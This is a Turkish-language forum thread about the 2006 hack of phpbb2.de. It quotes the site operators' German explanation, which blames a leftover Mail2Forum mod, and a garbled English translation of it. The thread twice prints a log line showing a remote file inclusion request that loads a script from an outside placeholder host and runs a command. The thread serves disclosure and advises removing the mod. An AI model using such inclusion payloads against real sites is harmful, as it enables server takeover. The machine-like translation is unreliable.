phpbb2.de hacklendi

[cupra]

arkadaşlar phpbb2.de sitesi hacklenmiş .
[ resmi görüntülemek için tıklayın ]

[LeBron]

index hala duruyor.Şaşırdım doğrusu

[cupra]

kesin olayı çözecekler, inceleme yapıyorlar uzun sürdü.
phpbb hack sanırım hataya baksanıza.

[zuper]

aman bu ne ki bizim Turk Hackerler Geçen Gün Microsoft u Hacklediler
artık güvenlik diye bi şey kalmadı.hatta 1.5 sene önce phpbb com da hacklenmişti phpbb2 de hacklendi biz nasıl güvenlik sağlayacağız onu düşünüyom.

Allah Hepimizin Yardımcısı Olsun.

[cupra]

siteyi çalıştırdılar.
almancası olan varsa açıklayabilir detayları

Hier schonmal eine kurze Erklärung was passiert ist, wieso phpBB2.de gehackt wurde.

Wir hatten vor Jahren mal das Modul M2F getestet (Mail2Forum) welches seinerzeit von Netclectic programmiert wurde, haben es aber nie aktiv eingesetzt, dummerweise existierte der Ordner noch auf dem Webspace. Eine nun neu aufgetauchtes Sicherheitsleck in diesem Mod führte nun dazu, das phpBB2.de über diese Lücke gehackt wurde. Im Log-File sieht das beispielsweise so aus:

Kod: Tümünü seç

196.xxx.xx.x - - [18/Jul/2006:05:52:35 +0200] "GET /m2f/m2f_phpbb204.php?m2f_root_path=http://www.bad_url_here.com/badfile.txt?/cmd.txt?&cmd=ls HTTP/1.1" 200 4431 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Diese Lücke ist nicht im Standard phpBB2 oder phpBB2 Plus enthalten, da in diesen Version kein M2F Mod verwendet wird.

Wir werden nun die Logfiles genau auswerten, jedoch ist sicher, das genau diese Sicherheitslücke ausgenutzt wurde, und dies kein generelles Sicherheitsleck in phpBB2 darstellt ! Daher empfehlen wir allen Usern von M2F, zumindest temporär dieses Modul komplett zu deinstallieren bis die Lücke in einer neuen Version geschlossen wurde !

[sabri ünal]

Here already times a short explanation which passed, why phpBB2.de was chopped.

We years ago times the module M2F had tested (Mail2Forum) which by Netclectic were at that time programmed, to have it stupid-proved however never actively assigned, existed the file still on the Web space. Now safety leakage in this Mod, emerged again, led now to it, the phpBB2.de across this gap was chopped. In the log file looks for example in such a way:

Kod: Tümünü seç

 196.xxx.xx.x -- [18/Jul/2006: 05: 52: 35 +0200] “GET /m2f/m2f_phpbb204.php? m2f_root_path= http://www.bad_url_here.com/badfile.txt?/cmd.txt?&cmd=ls HTTP/1.1” 200 4431” - ““Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5,1)” 

This gap is not contained in the standard phpBB2 or phpBB2 plus, since into this version no M2F Mod is used.

We will exactly evaluate now the log files, however is safe, which were used exactly this safety gap, and this no general safety leakage in phpBB2 represents! Therefore we recommend all Usern of M2F, at least temporarly this module completely to deinstallieren to the gap in a new version were closed!

[GodBeach]

Laf ...

[zdearban]

ilginç

[Mirach]

pfs , bide mail vermiş

[cupra]

söylediklerine göre phpbb plus ile birlikte kullandıkları bir sayfadaki script yüzünden bir açık oluşmuş ve bu açık yüzünden hacklenmiş, plus direkt olarak hacklenmemiş demeye getirmiş..

[sabri ünal]

yav abim inanmamış gibi konuşuyorsunuz niye? adam ordan hacklemişse ordan hacklemiştir